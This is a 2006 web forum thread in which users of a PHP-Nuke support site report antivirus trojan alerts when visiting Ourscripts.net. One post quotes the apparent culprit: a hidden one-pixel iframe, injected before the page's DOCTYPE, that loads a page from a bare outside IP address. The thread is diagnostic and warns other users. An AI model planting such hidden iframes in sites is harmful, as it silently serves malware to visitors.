You are missing our premiere tool bar navigation system! Register and use it for FREE!

NukeCops  
•  Home •  Downloads •  Gallery •  Your Account •  Forums • 
Readme First
- Readme First! -

Read and follow the rules, otherwise your posts will be closed
Modules
· Home
· FAQ
· Buy a Theme
· Advertising
· AvantGo
· Bookmarks
· Columbia
· Community
· Donations
· Downloads
· Feedback
· Forums
· PHP-Nuke HOWTO
· Private Messages
· Search
· Statistics
· Stories Archive
· Submit News
· Surveys
· Theme Gallery
· Top
· Topics
· Your Account
Who's Online
There are currently, 191 guest(s) and 0 member(s) that are online.

You are Anonymous user. You can register for free by clicking here
Nuke Cops :: View topic - Ourscripts.net Trojan Virus [ ]
 Forum FAQ  •  Search  •   •  Memberlist  •  Usergroups   •  Register  •  Profile •    •  Log in to check your private messages  •  Log in

 
Post new topic  Reply to topicprinter-friendly view
View previous topic Log in to check your private messages View next topic
Author Message
jakec06
Sergeant
Sergeant


Joined: Jan 30, 2006
Posts: 75

Location: Surrey, UK

PostPosted: Sun Jun 25, 2006 12:11 pm Reply with quoteBack to top

This is just a quick warning. When visiting the Ourscripts.net website I'm getting a virus warning (Downloader Generic.o).
I've tried it on two computers and I'm get the same warning.


Last edited by jakec06 on Sun Jun 25, 2006 12:49 pm; edited 1 time in total
Find all posts by jakec06View user's profileSend private message
Black_Spider
Lieutenant
Lieutenant


Joined: Aug 06, 2004
Posts: 285

Location: NW USA

PostPosted: Sun Jun 25, 2006 12:35 pm Reply with quoteBack to top

Just by visiting the site? And what av are you using?

_________________
ßlå¢k §ÞîÐèR
Find all posts by Black_SpiderView user's profileSend private messageYahoo MessengerMSN MessengerICQ Number
jakec06
Sergeant
Sergeant


Joined: Jan 30, 2006
Posts: 75

Location: Surrey, UK

PostPosted: Sun Jun 25, 2006 12:47 pm Reply with quoteBack to top

Yep.
I'm using McAfee, different versions on the two computers, but I guess the definitions will be the same.
Find all posts by jakec06View user's profileSend private message
XtraX
Lieutenant
Lieutenant


Joined: Aug 23, 2003
Posts: 195


PostPosted: Sun Jun 25, 2006 3:03 pm Reply with quoteBack to top

hum... I just visited Ourscripts.net and I got nothing - I'm using norton system works 2006 for my AV, and I got nothing .

Strange...

xtrax
Find all posts by XtraXView user's profileSend private message
RuTHlezz1
Nuke Soldier
Nuke Soldier


Joined: Oct 03, 2005
Posts: 34


PostPosted: Tue Jun 27, 2006 9:01 am Reply with quoteBack to top

I get the same error and it tries to place te file in

C:\Documents and Settings\nhuffman\Local Settings\Temporary Internet Files\Content.IE5\WDUN0927\ourscripts[1].htm
Find all posts by RuTHlezz1View user's profileSend private messageVisit poster's website
jakec06
Sergeant
Sergeant


Joined: Jan 30, 2006
Posts: 75

Location: Surrey, UK

PostPosted: Tue Jun 27, 2006 10:58 am Reply with quoteBack to top

Are you using McAfee as well?
Find all posts by jakec06View user's profileSend private message
Black_Spider
Lieutenant
Lieutenant


Joined: Aug 06, 2004
Posts: 285

Location: NW USA

PostPosted: Wed Jun 28, 2006 2:48 am Reply with quoteBack to top

I'm using ZoneAlarm Security Suite and it hasn't detected anything.

Also navigated to the path where the file was getting set and I see nothing, no .htm files. I see a copy of the html file in there, but that's for the cache.

_________________
ßlå¢k §ÞîÐèR
Find all posts by Black_SpiderView user's profileSend private messageYahoo MessengerMSN MessengerICQ Number
jakec06
Sergeant
Sergeant


Joined: Jan 30, 2006
Posts: 75

Location: Surrey, UK

PostPosted: Wed Jun 28, 2006 3:07 am Reply with quoteBack to top

There appears to be an iframe right at the top of the page, before even the DOCTYPE is defined.

This is what it looks like:

Code:
iframe src= http://85.249.22.18/index.html frameborder="0" width="1" height="1" scrolling="no" name=counter></iframe><br />src= http://85.249.22.18/index.html frameborder="0" width="1" height="1" scrolling="no" name=counter> /iframe<br />


Just wondering if this is the cuplrit, or if they are doing something funky on their site.
Find all posts by jakec06View user's profileSend private message
webmistress
Nuke Cadet
Nuke Cadet


Joined: Jun 28, 2006
Posts: 2

Location: TN

PostPosted: Wed Jun 28, 2006 11:48 am Reply with quoteBack to top

I'm getting the same Trojan alert..

Using McAfee Build 8.0.45 (free AOL version)

Trojan Has Been Detected and Cleaned!

The file C:\Documents and Settings\Computer Name\Local Settings\Application Data\Firefox\profiles\2safd.default\Cache\D7CEA8BDd01 was infected by the Geneic Downloader.o trojan and has been deleted to complete the Clean process.
Find all posts by webmistressView user's profileSend private message
scott2500uk
Private
Private


Joined: Oct 08, 2005
Posts: 43

Location: York UK

PostPosted: Wed Oct 04, 2006 11:14 am Reply with quoteBack to top

Just a note that this is still going on and that the site admin has been away during all this and will still be away for some time.
Find all posts by scott2500ukView user's profileSend private messageSend e-mailVisit poster's websiteYahoo MessengerMSN Messenger
Legno_Genova
Private
Private


Joined: Nov 16, 2005
Posts: 39


PostPosted: Sat Oct 14, 2006 12:17 am Reply with quoteBack to top

With norton i got nothing! i updated the virus definition today.

_________________
Legno
Cornici per foto
Multistrati compensato
Bricolage fai da te
Find all posts by Legno_GenovaView user's profileSend private messageSend e-mailVisit poster's website
scott2500uk
Private
Private


Joined: Oct 08, 2005
Posts: 43

Location: York UK

PostPosted: Sat Oct 14, 2006 5:12 am Reply with quoteBack to top

I belive the virus has been removed but the site is offline atm.
Find all posts by scott2500ukView user's profileSend private messageSend e-mailVisit poster's websiteYahoo MessengerMSN Messenger
Display posts from previous:      
Post new topic  Reply to topicprinter-friendly view
View previous topic Log in to check your private messages View next topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum



Powered by phpBB © 2001, 2005 phpBB Group

Ported by Nuke Cops © 2003 www.nukecops.com
:: FI Theme :: PHP-Nuke theme by coldblooded (www.nukemods.com) ::
Powered by TOGETHER TEAM srl ITALY http://www.togetherteam.it - DONDELEO E-COMMERCE http://www.DonDeLeo.com - TUTTISU E-COMMERCE http://www.tuttisu.it
Web site engine's code is Copyright © 2002 by PHP-Nuke. All Rights Reserved. PHP-Nuke is Free Software released under the GNU/GPL license.
Page Generation: 0.307 Seconds - 159 pages served in past 5 minutes. Nuke Cops Founded by Paul Laudanski (Zhen-Xjell)
:: FI Theme :: PHP-Nuke theme by coldblooded (www.nukemods.com) ::